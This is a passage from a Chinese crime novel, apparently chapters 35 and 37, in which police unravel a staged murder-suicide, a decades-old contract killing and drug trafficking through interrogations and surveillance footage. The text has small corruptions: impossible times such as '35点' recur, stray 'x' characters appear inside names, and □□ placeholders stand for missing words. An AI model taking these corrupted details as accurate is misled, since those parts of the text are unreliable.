“谁没委屈?是人就有委屈。可能他觉得我不重视他?总是给他一些边缘的杂活?他当年跟赵润嵩关系那么好,我让他接个鸿达的小单都接不到。你让我怎么委以重任?”言语中,骆金水对于自家的这个亲戚多少有些不满。 程栋梁问邹富贵的经济状况怎样? “虽然我对他有不满,但我真没亏待过他,该给的钱我都给的足,房子车子都不缺,要不然他老婆能看上他?但他投资没眼光,前两年投资洗脚城亏了不少,熬一熬也就过来了,谁能想到,他这么想不开。” 程栋梁:“你刚才说邹富贵和赵润嵩关系很好?” “他们是打小住一个院子的铁哥们,赵润嵩父亲原来算是个文化人,只因帮亲戚担保,欠下巨额债务,自杀了,邹富贵也是自小没了爸,他们境遇相似,所以很谈得来。不过后来赵润嵩他妈攀上了张鸿禺,山鸡变凤凰,鲤鱼跳龙门,从此大家身份不一样了。富贵找赵润嵩帮忙办个事,赵润嵩都爱答不理的。”说着骆金水冷哼了一声。 “邹富贵是几点离开你家的?” “九点左右吧。” 程栋梁质疑:“他喝了酒自己开车?” 骆金水笑着回怼:“这位女警官,这个问题,你问我没用,你得问他为什么酒后开车。” 程栋梁情绪不为所动,“你昨晚22点到35点之间在哪里?” 骆金水陷入沉思,手中继续把玩着核桃,“我开车出去兜了一圈。” “你自己一个人,酒后?” 骆金水冷笑一声:“我八点钟喝了一点点酒,没醉,十点酒精都排掉了。” 程栋梁没在这个问题上继续纠缠,“你去了哪里兜风?” “就外面,开车绕着环城路,兜了一大圈。” “几点回来?” “差不多12点吧。” 没有证人。 彭秀弟弟一家和赖文斌父子全都来了云麓庄园,安慰陪伴彭秀之余,商量怎么安排赵润嵩的身后事。 张越凝作为晚辈本插不上话,但她是律师,众人都问她,大概多久能领回赵润嵩的遗体。 “最快也要一个星期,如果案情复杂,就说不准了。” 有人问:“会怎么复杂?” 张越凝摇头:“我也不清楚,警方没有透露太多信息。” 作为儿子,张蕤帆张罗着筹备他父亲的丧事。 受打击最大的是彭秀,白发人送黑发人,是这世上最苦的劫难。 但彭秀这个人特别的坚强,难受过后,还不忘争取更多的利益,她当着众人的面叮嘱孙儿:“帆帆,你爸爸走了,你作为男人,以后这个家,你要承担起责任。在家要孝顺爷爷奶奶,在公司要力所能及替姑姑分担压力,知道吗?” 看似是千斤重担压上身,实际是生怕别人不知道,虽然她和张鸿禺没有领证,但张蕤帆在张家的地位不是一般人可以取代的。 前宅太乱,张越凝回房自己一个人呆了会儿。 她坐在沙发上,抱着黑豆,轻轻抚摸着它的胖脑袋,黑豆安静地窝在她腿上。 此刻,她什么都不想,似乎这个世界就只有她和她的猫。 看守所5号监室发生了群体斗殴事件,几名参与斗殴的人员,被关禁闭之后,重新分了监室。 穿着黄马甲的徐罡走进13号监室的时候,其他被拘押的嫌疑犯自动给他让了位置。 监室内气味有些难闻,徐罡在靠近厕所的床铺坐下。 睡他旁边的霍兵正在用小尾指挖耳朵,挖爽了,正微微张着嘴。 过了好一会儿,霍兵跟他说话:“我听说了你的事,你是条汉子!” 徐罡:“谢谢大哥,我叫徐罡,您怎么称呼?” 原本微胖的霍兵进来后,瘦了一些,嘴角的笑纹也加深了,看着很和蔼。 “霍元甲的霍,当兵的兵。你叫我霍哥就行。” 互相认识后,徐罡才问霍兵:“霍哥你怎么进来的?” 霍兵避重就轻:“走私。” 徐罡似乎也没多想:“走私还好,你还能出去。我出不去了。” 他闻了闻枕头,一股形容不出油腻的霉味。 “你刚搬过来,可以申请换枕头。” “算了,不想多事。他们都说我有神经病,要不然我们不会打起来,大哥你觉得我有神经病吗?” 霍兵打量着他,“神经病好啊!希望你能有。” 窗外的风徐徐吹来,温暖和煦,窗帘被吹起,轻轻飘荡在她头发上,趴在课桌上的张越凝抬起头,看见刘晋伏刚好回过头来。 他递过来一包刺梨干,小声说:“给你。” 张越凝懵懵懂懂的,以为自己睡糊涂了,但桌上物理书的确是初三上学期的,怔了半响,她才问:“你不是转学了吗?” 刘晋伏眨了眨他好看的眼睛,笑道:“我特意回来看你的。” 张越凝眼眶微涩,她强忍泪水,开心地拈起刺梨干,放进了嘴里。 酸酸甜甜的刺梨干,真是好吃啊。 刘晋伏就这样呆呆看着她,“越凝,我想好了,我们可以改写初美的命运。” 她问:“怎么改写?” 刘晋伏还没来得及回答,就听教室门口传来刺耳尖叫,吓得张越凝头皮一紧,转头一看,是张皓月拿着乒乓球拍站在门口,她后面跟着胖子赵蕤帆。 刚刚张皓月还在门口,只一眨眼,她已经来到跟前,手里的乒乓球拍变成了一把利刃,朝张越凝刺了过来。 张越凝浑身一颤,睁开了眼。 周围一片昏暗,外面天色将黑,她窝在卧室的沙发躺椅上睡了一觉。 她又梦见刘晋伏了,每次梦见他,她都会惆怅很久。 那是她年少时遇见的唯一的光。 第35章第35章研究完鉴定所的初步鉴定报告…… 研究完鉴定所的初步鉴定报告后,“双四专案组”在巨大的压力之下重新做了工作分工。 陆从景上午有事,没参加鉴定报告会,他来的时候,刚好碰到陈锋。 陈锋想让陆从景带领的小组发挥更大的作用,便让刘泰安多派一两个人给他。 刘泰安人手本来就不够,他心底不乐意,但还是让陆从景自己挑人。 陆从景认真思考后,选了程栋梁。 二人组变成三人小组,最高兴的是木棉。 木棉平时就喜欢跟着程x栋梁做事,程姐聪明且踏实,没有陆从景那么飘忽不定。 三人小组当即在小会议室进行了第一次碰头会。 程栋梁先把鉴定所给的结果罗列了一遍。 赵润嵩和邹富贵死于同一个凶器,也就是遗留在现场的那支手枪。 现场只发现了邹富贵和保洁阿姨的指纹,桌上水杯上没有任何指纹。 那张三百万借据上的所有文字包括签名都是邹富贵的字迹。 赵润嵩身上枪伤从背部射入,弹孔无火药痕迹,非近距离射击。 邹富贵的伤口则不同,无星状撕裂,有微量火药痕迹,判断为20-30公分左右的近距离射击。 “邹富贵中弹的位置在太阳穴,如果枪口贴着太阳穴射击,一般情况下是会产生星状撕裂,但邹富贵的伤口没有。” 程栋梁右手比划成枪的姿势,别扭地隔了点距离对准了太阳穴。 “法医的意思是,邹富贵是近距离但是又没贴着太阳穴进行的枪击。你们看,隔了二三十公分,这个距离比较尴尬,自杀的话,枪口有点远,他杀又太近距离了,很容易引起对方察觉并反抗。” 陆从景略微沉吟:“这可能不是自杀,而是伪装自杀。他的遗书写得就很怪,缺少他所受委屈的细节,也没跟妻儿交待身后事,除了交待他是杀赵润嵩后自杀外,毫无作用。” 程栋梁:“对,邹富贵很大可能不是自杀。不过法医说,不能排除极个别的例外。最终结果,还是要我们去调查判定。” 陆从景给“非自杀推论”提供了一个证据:“桌上的玻璃水杯,茶喝了一半,但玻璃杯上完全没有指纹,这不正常,显然现场被人清理过。” 木棉点头:“刚才开会,大家也讨论了这个问题。还有,邹富贵家搞卫生的阿姨说,家里喝茶的玻璃杯少了一个,而事发当晚35点,整个通河拆迁片区都断水了,我们怀疑,现场可能存在的第三人因为没有自来水清洗他用过的玻璃杯,所以他选择拿走了那个杯子。” 陆从景质疑:“既然这人拿走了自己用过的杯子,为什么他还要清理留在现场的玻璃杯呢?” 木棉不太确定地说了一声:“可能留在现场的玻璃杯上也有这个人的指纹?” 这是个疑点,她快速记录下来。 那这在现场的第三人会是谁? “事发周边片区在拆迁,很多地方都没有监控,目前能找到的监控里,只有赵润嵩车辆进入该片区的视频。车里也只有他一个人。” 那个地方就像一张到处是漏洞的破渔网,鱼儿怎么游进去都有可能。 程栋梁翻开本子,她在纸上画了三个圈代表三个人。 “赵润嵩带着借条去找邹富贵要钱。当时邹富贵家还可能存在第三人。是谁?戴丽华因为曾立兴的死,最近有跟化名豹哥的邹富贵联系,邹富贵刚偷偷让人送了70000元给戴丽华,他想要摆脱戴丽华的纠缠。如果确定邹富贵跟谋杀张皓钧的主谋有关系,有没有可能那个主谋就是现场的第三人?主谋趁这个机会把他们两个杀了,伪造成邹富贵杀赵润嵩后自杀的局。” 陆从景若有所思,没有接话。 木棉赞同道:“我认为有可能,如果像程姐设想的这样,邹富贵一死,双四案件到他这里就彻底断了,主谋也就安全了,这就是主谋想要的结果。” 程栋梁继续画图:“现场没有任何打斗的痕迹,能近距离怼着邹富贵太阳穴射击的人,这人肯定跟邹富贵非常熟悉。” “程姐你说的有道理。”木棉对于程栋梁是有说必应,她绝对不会让程栋梁的话掉在地上。 陆从景也赞同这个观点。 他们达成第一个共识,那就是杀邹富贵的人,跟邹富贵非常熟,且很大可能是张皓钧案的主谋。 程栋梁出去倒了一杯冰水回来,继续探讨。 “两位死者的关系很微妙,昨天中午,你们在邹富贵房间找到了两张邹富贵赵润嵩年轻时拍下的非常暧昧的照片,昨天下午我们在赵润嵩房间的抽屉里,也找到了两封三十年前邹富贵写给赵润嵩的信,里面的用词非常大胆,这两者相结合,不难分析出,他们曾经是同性恋人关系。”说着,程栋梁在代表邹富贵和赵润嵩的圆圈之间,画了个爱心。 木棉打开平板,把邹富贵写给赵润嵩的信件递给陆从景看。 程栋梁:“两人分手后,各自骗婚生子,表面上不再来往。实际上,当邹富贵遇到困难,找赵润嵩帮忙的时候,赵润嵩还是会慷慨解囊。这也就解释了,为什么一张简简单单、没有担保人、没有按指纹的借条,就能让邹富贵从赵润嵩手上借走300万。” 陆从景靠在椅子上,“这里有个疑点,赵润嵩这段时间疑似躲着邹富贵,案发前一天,是邹富贵去泰吉酒店找的赵润嵩,而且两人还疑似吵架,按道理,邹富贵欠赵润嵩三百万,不应该是欠钱的邹富贵躲着赵润嵩才对吗?怎么反过来了?” 程栋梁:“昨晚我和海亮几个也讨论了这个疑点,邹富贵找赵润嵩可能不是因为钱的事,但两人的争执,直接或者间接刺激了赵润嵩想要找邹富贵收回借出去的三百万。” 陆从景问:“目前没人知道他们当时吵什么吗?” 程栋梁摇头:“都说不知道。” “我看了笔录,张鸿禺的左右手贺成,他听见赵邹两人争吵后,去拉架,那他肯定是近距离接触了这两个人的,他会不会听到了什么内容,但他作为打工者,不方便跟我们警方说实话?” 木棉快速记录着陆从景提出的这个疑问,她问:“我们是不是要再去盘问贺成?” 程栋梁:“要的,泰吉酒店那边还要认真走访调查,下午小耿去查监控,我跟他一起去。” 陆从景抛出下一个疑点:“从赵润嵩身上搜到的那张借条,是一张从笔记簿上撕下来的纸,两年前写的借条,但看起来很新。” 程栋梁凑过去看平板上的借条,感叹:“确实很新,保存的很好。可能不缺钱,从来没拿出来看过?” 不排除这个可能。 陆从景:“鉴定所能不能鉴定字迹书写时间?” 程栋梁不太确定,“好像可以。鉴定所的人在食堂吃午饭还没走,我去问一下。木棉,走吧,我们去食堂打饭回来吃,你太瘦了,要准点吃饭。” 木棉确实饿了,她站起身,“师兄你要吃什么,我帮你打一份。” “谢谢,两荤一素,我什么菜都吃。”他想了想,还是提了个要求,“今天不想吃鱼。” “收到。” 陆从景想把自己的食堂饭卡给木棉,结果找了一圈没找到。 程栋梁笑道:“今天我们请你,改天你请我们吃大餐。” 木棉揶揄:“每次跟师兄出去,都是吃最便宜的苍蝇馆子。” 陆从景对吃要求很低,他笑道:“下次你们指定地点。” “那就这么说定了。”程栋梁把水杯拿走,“我可不会客气的。” 没多久,夏木棉和程栋梁一起带了三份饭回来。 刚进门,程栋梁就说:“问了,字迹书写时间可以做鉴定,他们已经在做了,后天能出结果。” 三人在会谈室边吃饭边继续探讨。 木棉不吃肥肉,程栋梁说她吃,木棉把五花肉都给了程栋梁,程栋梁则把自己盘里的排骨夹给木棉。 快吃完的时候,程栋梁说:“我们查了邹富贵最后几天的通讯记录,他去泰吉酒店之前,沈青给他打了一个电话。” 陆从景诧异:“沈青?” “对,沈青是张芷琼的人吧,她怎么会跟邹富贵有联系?” 这个陆从景知道,“张越凝在帮骆金水的儿子打官司,邹富贵是骆家那边的负责人,而沈青是磐石律所的对接人。” 木棉脑子一转,推测了个大概:“根据赵润嵩家人的描述,赵润嵩这段时间都有意避开邹富贵,不愿意跟他有联系。会不会是邹富贵联系不上赵润嵩,只好花钱收买沈青,就这样沈青把赵润嵩的位置告诉了邹富贵。” 既然沈青能被张芷琼收买,那她被邹富贵收买就不稀奇了。 程栋梁的思路很清晰:“这里面有个矛盾点,就是刚才从景提到的,赵润嵩他是债主,邹富贵是欠债的那个,哪怕他们曾经关系不一般,但是x债主躲欠债的,就有点倒反天罡了。” 陆从景最快吃完,他放下筷子,收好饭盒放在一边:“结合‘双四大案’,赵润嵩是张皓钧名义上的二叔,张皓钧死后,赵润嵩算不算是受益人之一?” 夏木棉微微摇头:“他不是张家子孙,张鸿禺的遗产没他的份。” 程栋梁持不同意见:“肯定算受益人之一啊,张皓钧死后,赵润嵩把他儿子都改姓张了!现在他们父子两个在鸿达集团担任要职,好处肯定没少捞,三百万说借就借。” “有没有可能,当年是邹富贵帮曾经的恋人赵润嵩雇凶杀了张皓钧。”陆从景拿过程栋梁放在桌上的纸笔,快速画了个人物关系图,“赵润嵩找了邹富贵,而邹富贵当时跟霍兵关系不错,他让霍兵帮忙找杀手,霍兵不知道出于什么原因,没有□□,而是找了自己的老同学曾立兴去执行。结果曾立兴在杀害张皓钧后,偶遇了梁小宇和夏木橙,从此引发了一系列的人命案子。” 木棉听了有些毛骨悚然,程栋梁也点头:“这可能接近真相了。” 转念一想,陆从景又觉得不对:“如果赵润嵩是主谋,那谁杀了他和邹富贵呢?谁有动机杀他们?” 程栋梁:“或者赵润嵩是从犯,他上头还有个真正的主谋。” 这个主谋就是赵邹二人死亡现场的第三者。 陆从景在赵润嵩前面画了个箭头。 木棉:“难道是最大的受益者张芷琼?!” 程栋梁:“我们刚才推测主谋杀了赵润嵩和邹富贵,但双杀案事发当晚张芷琼没有作案时间,她在公司加班。” 陆从景补充:“根据我们的推理,杀害邹富贵的人,跟他很熟,两人关系很近,邹富贵对他没有太大的防备心。张芷琼不符合这个条件。” 木棉:“那就是骆金水。骆金水完全符合条件。而且事发时间段,骆金水一个人开车出去兜圈,没有证人,他兜圈的那条路有很多路段没有监控,期间至少有半个小时,骆金水的车没出现在监控里,他有充分的作案时间。” “那就是另外一条故事线了。骆金水为了给妻儿报仇,让邹富贵买凶杀害张皓钧,邹富贵找了霍兵,逻辑跟上条线一样。不一样的点是,怎么把赵润嵩给牵扯进来?”陆从景重新划了一条人物关系图。 程栋梁忽然脑洞大开,她把饭盒收到一边,“有没有一种可能,是两条线结合起来了呢?” “怎么结合?”木棉抽了纸巾递给程栋梁。 程栋梁擦了擦嘴角,继续道:“邹富贵收到骆金水的指示,准备买凶杀害张皓钧,他知道张皓钧死了,对赵润嵩有天大的好处。他把这件事告诉了赵润嵩,他不说是骆金水指示的,他可能说,我帮你杀掉张皓钧,不管赵润嵩有没有同意,张皓钧死了,赵润嵩必定欠邹富贵一个巨大的人情,这也就不难理解,三百万说借就借。” 陆从景点头:“有这种可能性!” 确实是脑洞大开。 木棉:“所以,邹富贵去找赵润嵩,很可能也是因为这件事,毕竟在他的视角,曾立兴死了,曾立兴老婆在找他麻烦,而霍兵被抓了,他估计也不敢肯定,霍兵会不会把他供出来。他找赵润嵩,就是告诉他,事情有可能完全败露,两人为此吵起来。吵架的过程中,被贺成和张蕤帆看见,他们只能约定晚上继续聊。” 程栋梁鼓励道:“可以啊,木棉,你这个推理非常符合逻辑。你的进步越来越大了!” “程姐和师兄教的好。” “别,我可没教过你什么。”程栋梁说完,不免笑着揶揄陆从景,“我相信他也没教你什么。” 木棉谦虚道:“三人行必有我师。” 陆从景也不反驳:“三人行必有我师,两位师父,接下来,还要靠你们去拿证据。” “既然我们怀疑骆金水,那就先从骆金水下手。海亮刘阳在跟骆金水这条线……” 木棉知道程栋梁要跟小耿去泰吉酒店,她说:“我去亮哥那边打打酱油。” 等她们都出去了,陆从景划开手机相册,看着邹富贵夹在书中的那张剪报照片,他昨天去图书馆检索到了这条新闻,是发生在2004年9月22日的事故。 刚好在张皓钧案的前两天,一个缅甸人在车祸中丧生。 直觉告诉陆从景,其中有关联。 他打算去交警大队找找档案。 而木棉说是去田海亮那边打酱油,却是最快有结果的。 骆金水被捕了。 第37章第37章警方取走了骆金水座驾的行车…… 警方取走了骆金水座驾的行车记录仪,根据记录仪的视频记录,事发当晚,骆金水独自开车出去并不是单纯的兜风,而是去了他以前混道上的老朋友家尚未开业的酒庄。 这么简单的事,为什么骆金水隐瞒不说? 顺着这条线,田海亮在酒庄监控里,发现骆金水刚到酒庄,就被一年轻男子拦住,拦他的人经查证,是霍兵儿子霍冬冬。 霍冬冬曾经找了骆金水好几次,但都被骆金水底下人给拦了。 “霍冬冬找骆金水干什么?” “他爸霍兵因为贩毒的事可能要判死刑,霍冬冬知道骆金水是幕后大老板,他想找骆金水多要点钱。” 酒庄监控把他们争吵的内容拍下来了,霍冬冬暗示他手上有骆金水贩毒的证据,骆金水迫于无奈,只好答应给霍冬冬加一百万,前提是霍冬冬把证据交出来,两人约好两天后□□。 “刚刚缉毒队从霍冬冬女朋友家搜到了骆金水和霍兵贩毒的证据,这次他们十多年前贩毒的罪总算是坐实了。” 霍冬冬应该感谢警方,他贸然拿证据去跟骆金水交易,谁知道会是怎样的结局? 骆金水那晚在朋友酒庄呆到十二点才离开,现场有监控,有不少人可以给他做时间证人。 他没时间去杀赵润嵩和邹富贵。 所以,木棉她们小组设想的两条线合二为一,骆金水是主谋的精彩推断,并不成立。 回到办公室,木棉有些丧,她坐在办公桌旁,吃了块刺梨干,等心情好一点,继续深挖案中细节——究竟谁可能去邹富贵家杀人。 一刻钟她都不想休息,只有把幕后真凶抓住,给姐姐寻回公道,才能喘口气。 没多久,刘阳和小董也回来了,他们调查了事发时张芷琼和张蕤帆的行踪。 那天张芷琼有个海外项目要沟通,她在公司加班,22点-35点之间,她自己一个人呆在办公室,大厦有监控,她是半夜2点才离开鸿达集团。 而张蕤帆跟朋友先去了酒吧一条街,21点30分左右去了西云街的西海大排档聚餐,一直到12点半才离开大排档回家。 这两个人也都没有作案时间。 田海亮双手叉腰站在办公室,“我们得扩大范围,邹富贵的关系网要继续深挖。霍兵作为这个作案链条上唯一的生存者,我得天天把他提出来审,对付这种人,不能心慈手软!非得撬开他嘴巴不可!” 田海亮刚走,陆从景就回来了。 他在交警大队找到了2004年9月22日交通事故的档案。 其中一个死者是缅籍华人,他的骨灰和赔偿,最后被一位叫钟德华的人代领了。 “这是钟德华的身份证号码,你查一下他的资料。” 木棉马上登录系统,很快查询到钟德华的信息。 “早年在缅甸那边做生意,现在开了两家养猪场,都在临城郊区。要不要打电话让他来一趟?” “你问他在哪里,我们去找他。” 木棉按照系统里的电话号码拨打过去,结果钟德华在外地亲戚家喝喜酒,要明天才能回来。 木棉便约了明天去找他。 将要下班,程栋梁才回来,她那边有些收获。 彭秀生日宴结束后,彭秀和赵润嵩母子是最后离开的,他们留在包间聊了很久,期间不让服务员进去。 但有服务员“无意间”听见彭秀很激动地对赵润嵩说:给Ta钱,让Ta走。 这个Ta很有可能就是邹富贵。 另外,酒店监控拍到了远处走廊外赵润嵩和邹富贵吵架时的情况,只有画面,没有声音。 当时贺成就站在走廊尽头的龟背竹后面,距离非常近,按照常理,贺成应该能听见他们吵什么。 而且赵润嵩和邹富贵离开走廊前往停车场,贺成还站在暗处往停车场看了x很久。 第二天,警方传唤了贺成,可贺成却完全否认自己有听见赵邹二人争吵的内容。 “他们情绪是很激动,但声音非常小,很谨慎,我真的没听见。” 程栋梁:“赵邹二人去停车场继续聊天,你站在走廊边上看了很久,几乎是张蕤帆快要进来,你才离开。你还看到了什么?” 贺成捏了捏眉头,有些不好意思地说:“我看见赵副总和那个男的吵着吵着……抱在了一起,还……还亲嘴。” 程栋梁:“张蕤帆看见了吗?” “我那个角度,不太确定张蕤帆有没有看见。” 同时被问话的还有沈青。 沈青说她联系邹富贵只是为了跟他沟通发票抬头的事。 “那天上午跟邹总沟通好发票抬头,我就去申请开发票,中午我把发票快递发出之后,我还给他发了微信。而且我们律所有保留快递底单,网上也能查到时间。” 滴水不漏。 这个沈青,每次都是这样,每一条嫌疑,她都有证据,就像她转出去的那两笔疑似给崔雄伟家属的汇款,简直天衣无缝。 越是这样,警方就越觉得她可疑,但是,没证据,完全拿她没办法。 田海亮继续追查张芷琼和沈青的行踪,同时,程栋梁和小耿去张家大宅,重新给彭秀做笔录。 彭秀精神状态比前两天好一些,虽然她仍沉浸在悲痛中,但非常有修养,有问必答。 程栋梁比平时问询都要温和,“彭女士,你跟你儿子关系怎么样?” 彭秀眼睛浮肿,声音沙哑,她说:“我就润嵩一个儿子,他个性温和,孝顺,从来不会忤逆我。有什么事他都会跟我商量,很尊重我的意见。” “你认识邹富贵吗?” “认识,以前我们住一个院子,我看着他长大的。” “你们平时有没有来往?” “快二十年没来往了。” “他跟你儿子是什么关系?” “发小,朋友。” “还有吗?” 彭秀看了程栋梁一眼,“就是关系很好很好的发小,两肋插刀那种。” 见她不说,程栋梁又问:“你生日宴结束之后,你跟赵润嵩单独留下来谈话,你们聊了些什么?” 彭秀:“我弟弟马上也要过生日,我跟润嵩商量要买什么礼物。” “就这些?” “就这些。” “但是有人听见包厢里你跟你儿子说的话了!”程栋梁说话的声音骤冷。 彭秀愣了一下,随即捏了捏酸软的手臂,缓了好一会儿,才说:“警察同志,我跟你说实话,你们能保密吗?不要告诉我家里人。” “你说说看。” “邹富贵……他之前喜欢润嵩,那时候他们年轻,什么都不懂,后来懂了,就分开了。那天邹富贵来找润嵩,他说他老板给了他很大压力,要他一定想办法让汇海成为鸿达的供应商,他来求我儿子帮忙走后门,我们家老爷子非常不喜欢汇海的老板,我们不可能帮他这个忙啊,我怕邹富贵缠着润嵩,就想让润嵩给他点钱,把他打发走。” 程栋梁质疑:“邹富贵又不是来要饭,帮不帮他,你们随心,你们就这样给他钱,说不通吧?” 彭秀解释:“如果不给他点好处,他就要把他和润嵩的关系张扬出去。” 程栋梁微微蹙眉,这逻辑不对。 “邹富贵有一个比他年轻很多的老婆,他老婆娘家还比较强势,而你儿子丧偶单身,按道理,邹富贵更怕这事张扬出去。” 彭秀被程栋梁的逻辑给绕进去了,“这我不清楚。可能,可能是我们家比较特殊,润嵩毕竟在鸿达集团是副总经理,各方面比邹富贵还是要好很多的,所以他才敢这么来要挟润嵩。” 程栋梁重复问:“邹富贵怎么要挟赵润嵩?” “不是说了嘛,如果不给他点好处,他就把他和润嵩曾经的关系张扬出去。” “所以,你们决定给他钱。” “对。” “给多少?” “三十万。” “当天晚上赵润嵩去找邹富贵就是为了给他三十万,让他以后不要纠缠?” “是。” “带去的是现金吗?” “现金。我亲自去银行取了30万现金给润嵩。” 案发现场并没有发现这30万现金,所以他们之前推测的现场有第三人的结论是对的。 程栋梁让彭秀提供取款银行的信息,当即把信息发给小耿,让他去追查这三十万现金的冠字号码。 “这件事,除了你们母子知道外,还有谁知道?” “就我们两个知道。” “除此之外,赵润嵩和邹富贵之间还有没有什么经济纠葛?” “什么意思?” “他们之间有没有谁欠谁的钱?” “没有。我儿子不可能欠他的钱,他也不可能欠我儿子的钱。” “为什么?” “我儿子不缺钱,邹富贵缺钱也不会跟我儿子借。” 程栋梁不动声色地追问:“邹富贵为什么不会跟你儿子借钱?” 彭秀顿住了,过了好一会儿才非常肯定地说:“除非要挟,不然不可能给他钱的。我儿子的钱都在我手里,他不会理财,都是我帮他管账。” “也就是说,如果赵润嵩想借给邹富贵一百万,两百万,那是不可能的?” 彭秀反问:“警官,你为什么这么问?” “请你如实作答。” “不可能借这么多钱给邹富贵。” 程栋梁和同事互相交换了一个眼神,继续问:“请问事发当晚22点至35点之间,你在哪儿?” “我在家。十点半润嵩还没回来,也没消息,我打他电话打了好几个,他都没接。我不放心,就打给我孙子,让他去通河邹家找他爸。” “你孙子去找了吗?” “帆帆在外面跟人聚餐,他说他离太远,他喝酒了,去不了,他还让我别担心,晚点他爸就会回来。”彭秀红了眼睛,“幸好他没去,不然,我怕我们帆帆毫无准备送上门,就怕也是有去无回。” 程栋梁:“后来呢?” “后来我儿子给我回了一条短信,他说不用等他,他明天再回。第二天早上他没回来,我以为他是直接去公司了,谁知道……”彭秀抽泣起来,她的生日,变成了她儿子的忌日,谁能不伤心。 程栋梁抽了纸巾递过去,等她情绪稳定了才继续问。 临城郊区一家养猪场,木棉从车上下来,就闻到了一股浓浓的猪屎味。 猪圈有工人拿着水管在冲水,看见有人来了,那工人放下水管大声喊:“找谁啊?” “找你们老板钟德华。” 那工人往一百米开外一栋木棉瓦房指了指:“在屋里。” 他们往木棉瓦房走去。 可能听到汽车声响,一个五十多岁的胖男人从里面走出来,手上夹着烟。 木棉看过钟德华照片,她低声说:“就是他。” “我是警察夏木棉,刚刚给你打过电话。” 钟德华笑得憨厚,一点都看不出来以前是混道上的。 “快快快,屋里坐,外面太热了。” 屋里也热,但开着风扇,没有大太阳下那么难受。 坐下后,钟德华要去泡茶,陆从景让他别泡了,“我们找你简单了解一些事。” “什么事?”钟德华声音有些紧。 “2004年9月22日在城北大道发生一起严重交通事故,有一个叫陈佩华的缅甸籍华人为此丧生,后来是你领取了他的骨灰和赔偿金是不是?” 钟德华忙摆手:“不是我领的,我带他家属去领的。” “一样,你认识就行。陈佩华来中国,是你帮他偷渡进来的吧?” 钟德华紧张起来,他不承认:“不是,他自己偷渡进来的,我哪儿有这个本事。” “他为什么偷渡来临城?” “打黑工。” “哪种黑工?” “做什么都比在缅甸强。” 陆从景冷不丁道:“包括杀人吗?” 钟德华颧骨上的肉抖了一下,他熄灭烟头,转移话题:“他被车撞死了。” 陆从景:“你不用紧张,十年前的事,你这种性质的犯罪,可能已经过了追诉期,你只要好好配合我们的工作,警方不会为难你。” 钟德华将信将疑:“警察同志,我想知道,为什么突然追问这件事?” “邹富贵死了,你不知道?” 钟德华定住了,他诧异:“怎么死的?” “暂时不方便透露。” “我刚从外地回来。我跟以前的朋友很少来往了,邹富贵死了都没人跟我说。我现在就是个养猪的。” “你如果不想惹事上身,最好如实回答我,你帮陈佩华偷渡来临城,是为了什么?” 钟德华拿起毛巾擦了擦脑门上的汗,又从一堆杂物中翻找出遥控器,终于舍得把空调打开。 “我那年刚从缅甸回国,邹富贵要我帮忙找个缅甸杀手,帮他杀一个人。” “杀谁?” “就张鸿x禺的孙子,张皓钧。” 终于,要贴近真相了。 这空调有股酸臭味,木棉被吹的头疼,她换了个位置。 越是接近真相,她越是紧张。 陆从景问:“邹富贵为什么要杀张皓钧?” “他没告诉我原因,我也没问。我帮他找了陈佩华过来接这庄生意,谁知道陈佩华刚到临城就被车撞死了。我把这事告诉邹富贵,邹富贵让我赶紧给他再找一个,他说买家是个有钱人,多少钱都给得起。我那时候焦头烂额的,时间太紧了,我建议他往后推迟一个月,不然实在没办法。他打电话给买家,但买家人不在临城,一时半会儿联系不上,他就去找买家的家属,家属坚持要按计划走,他们愿意出双倍钱,我当时确实很想赚这笔钱,可一天之内再找一个靠谱的杀手,我实在找不到。后来邹富贵自己想办法去了。” 说着钟德华又擦了把汗,“太热了。” 这一段话,信息量太大,陆从景问钟德华:“买凶杀人的家属,就是最终决定出双倍价也要坚持按计划走的那个人,是男的还是女的?” “女的。邹富贵的手机有点扩音,我听到那个女人的声音。” 钟德华描述了那声音的大概年龄段,陆从景心中了然。 几组人马汇总对齐信息,陆从景看完所有的笔录和资料,不由打开地图,看了眼事发地点的位置,当即他叫上木棉,去通河片区走了一趟。 从邹富贵家的大杂院往北走,穿过荒芜小径,一路向北,十五分钟后,来到繁华街市。 这一路监控很少,有且只有两个。 他们调出监控视频,在事发时间段,没有可疑人员出现在画面里。 木棉说:“这两个监控都有死角,如果有意避开的话,是能完全避开的。凶手对这一片区应该很熟悉。” 陆从景想了想:“也可能是这人提前来踩点了。” 如果提前来踩点,那踩点的时候,凶手对这里不熟悉,很可能没办法完全避开摄像头。 当即拷了两个月的视频回去。 警方从案发时间段往回倒开始看监控视频,很快,就在事发当天下午3点45分,他们在监控画面中找到了一个熟悉的面孔。 看守所讯问室里,骆金水坐在审讯椅上,他是没想到上岸十年后,还是被逮进来了。 坐他对面的田海亮问他:“是不是在懊恼,要不是邹富贵,你也不会进来?” 骆金水嘴角轻轻一扯,并不示弱:“我赚了。” 以他贩卖的毒品量计算,他早该死几十几百遍了。 “既然赚了,那就更该老实交代。张皓钧是不是你指使邹富贵和霍兵杀的?” “不是我。”骆金水咳嗽了几声,“我确实想过杀张皓钧,但我老婆知道后跟我大闹,我为了家庭和睦,最终忍住了。后来张皓钧不是死了吗?又过两三年,邹富贵忽然跟我说,张皓钧是他找人杀的。” 田海亮:“邹富贵怎么跟你说的?” “就一个平平无奇的上午,也可能是下午,我记不清了。我跟邹富贵聊事,他突然说起我难产死了的老婆,他说他找人给我老婆孩子报了仇,我这才知道,张皓钧的死跟他有关。” “邹富贵有没有跟你说是谁指使他这么干的?” “他没说,我也没问。我当时想当然认为他是想讨好我才去杀的张皓钧,我心底很感激,只能在物质上感谢他。这么多年以来,他虽然办事能力一般,但我从来没亏待过他。邹富贵出事那天晚上,他来我家吃饭,说警察盯上他了,他想去缅甸避一避。我不太赞同他去缅甸,那边有我们的仇家,我就跟他说,不如去老挝,我帮他想想办法。他回去之后,我就去朋友酒庄谈这个事,谁能想到,霍冬冬那个狗东西突然窜出来要挟我。” 想起霍冬冬,骆金水就来气,要不是这玩意,他不会进来。 审完骆金水,田海亮继续审霍兵。 霍兵头铁,他不是装傻,就是打太极,对老板,对兄弟,都是绝对的忠诚和义气。 怎么审他都不漏半点风。 田海亮拿他一点办法也没有。 被提审大半天的霍兵回到13号监室,整个状态都坍塌下来。 有人拿衣服帮霍兵打扇子,“霍哥,你是不是被针对了?怎么天天提审你?” 霍兵半点力气都没有,他摊在通铺上。 “你不知道我在那帮警察面前有多威风。跟我斗?”霍兵冷哼一声,“门都没有。” “怎么斗?” “就跟他们耗时间,装傻充愣,他问东你就回答西。问你白,你回答黑。他们又不敢打你,你还能把他们气个半死。” “有意思。” 